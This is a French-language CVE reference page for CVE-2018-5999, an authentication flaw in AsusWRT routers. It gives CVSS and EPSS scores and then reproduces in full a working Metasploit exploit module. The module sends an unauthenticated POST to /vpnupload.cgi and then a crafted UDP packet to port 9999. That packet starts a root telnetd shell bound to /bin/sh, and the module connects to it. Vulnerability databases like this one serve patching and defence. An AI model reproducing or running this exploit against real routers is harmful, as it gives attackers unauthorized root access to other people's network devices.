CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
An issue was discovered in AsusWRT before 3.0.0.4.384_10007. In the handle_request function in router/httpd/httpd.c, processing of POST requests continues even if authentication fails.
Informations du CVE
Faiblesses connexes
CWE-ID
Nom de la faiblesse
Source
CWE Other
No informations.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.0
9.8
CRITICAL
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
29.51%
–
–
–
–
2021-09-05
–
29.51%
–
–
–
2022-01-09
–
29.51%
–
–
–
2022-02-06
–
–
1.02%
–
–
2022-02-13
–
–
1.02%
–
–
2022-03-20
–
–
1.02%
–
–
2022-04-03
–
–
1.02%
–
–
2022-05-29
–
–
1.02%
–
–
2022-08-14
–
–
1.02%
–
–
2022-11-13
–
–
1.02%
–
–
2022-11-20
–
–
1.02%
–
–
2022-11-27
–
–
1.02%
–
–
2023-02-26
–
–
1.02%
–
–
2023-03-12
–
–
–
79.18%
–
2023-05-28
–
–
–
68.78%
–
2023-06-04
–
–
–
68.78%
–
2023-06-18
–
–
–
62.07%
–
2023-07-09
–
–
–
54.8%
–
2023-08-20
–
–
–
32.02%
–
2023-10-29
–
–
–
32.02%
–
2024-06-02
–
–
–
25.36%
–
2024-12-22
–
–
–
25.53%
–
2025-01-19
–
–
–
25.53%
–
2025-03-18
–
–
–
–
90.93%
2025-03-18
–
–
–
–
90.93,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2018-02-25 23h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution',
'Description' => %q{
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to
perform a POST in certain cases. This can be combined with another vulnerability in
the VPN configuration upload routine that sets NVRAM configuration variables directly
from the POST request to enable a special command mode.
This command mode can then be abused by sending a UDP packet to infosvr, which is running
on port UDP 9999 to directly execute commands as root.
This exploit leverages that to start telnetd in a random port, and then connects to it.
It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],
['URL', 'http://seclists.org/fulldisclosure/2018/Jan/78'],
['CVE', '2018-5999'],
['CVE', '2018-6000']
],
'Targets' =>
[
[ 'AsusWRT < v3.0.0.4.384.10007',
{
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
}
],
],
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DisclosureDate' => 'Jan 22 2018',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(9999)
])
register_advanced_options(
[
OptInt.new('ASUSWRTPORT', [true, 'AsusWRT HTTP portal port', 80])
])
end
def exploit
# first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD
# this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!
post_data = Rex::MIME::Message.new
post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")
data = post_data.to_s
res = send_request_cgi({
'uri' => "/vpnupload.cgi",
'method' => 'POST',
'rport' => datastore['ASUSWRTPORT'],
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if res and res.code == 200
print_good("#{peer} - Successfully set the ateCommand_flag variable.")
else
fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")
end
# ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.
info_pdu_size = 512 # expected packet size, not sure what the extra bytes are
r = Random.new
ibox_comm_pkt_hdr_ex =
[0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO 0xC
[0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x15
[0x33,0x00].pack('C*') + # NET_CMD_ID_MANU_CMD 0x33
r.bytes(4) + # Info, don't know what this is
r.bytes(6) + # MAC address
r.bytes(32) # Password
telnet_port = rand((2**16)-1024)+1024
cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')
pkt_syscmd =
[cmd.length,0x00].pack('C*') + # cmd length
cmd # our command
pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)
connect_udp
udp_sock.put(pkt_final) # we could process the response, but we don't care
disconnect_udp
print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")
sleep(10)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })
if not sock.nil?
print_good("#{peer} - Success, shell incoming!")
return handler(sock)
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
end
print_bad("#{peer} - Well that didn't work... try again?")
end
end
Products Mentioned
Configuraton 0
Asus>>Asuswrt >> Version To (excluding) 3.0.0.4.384_10007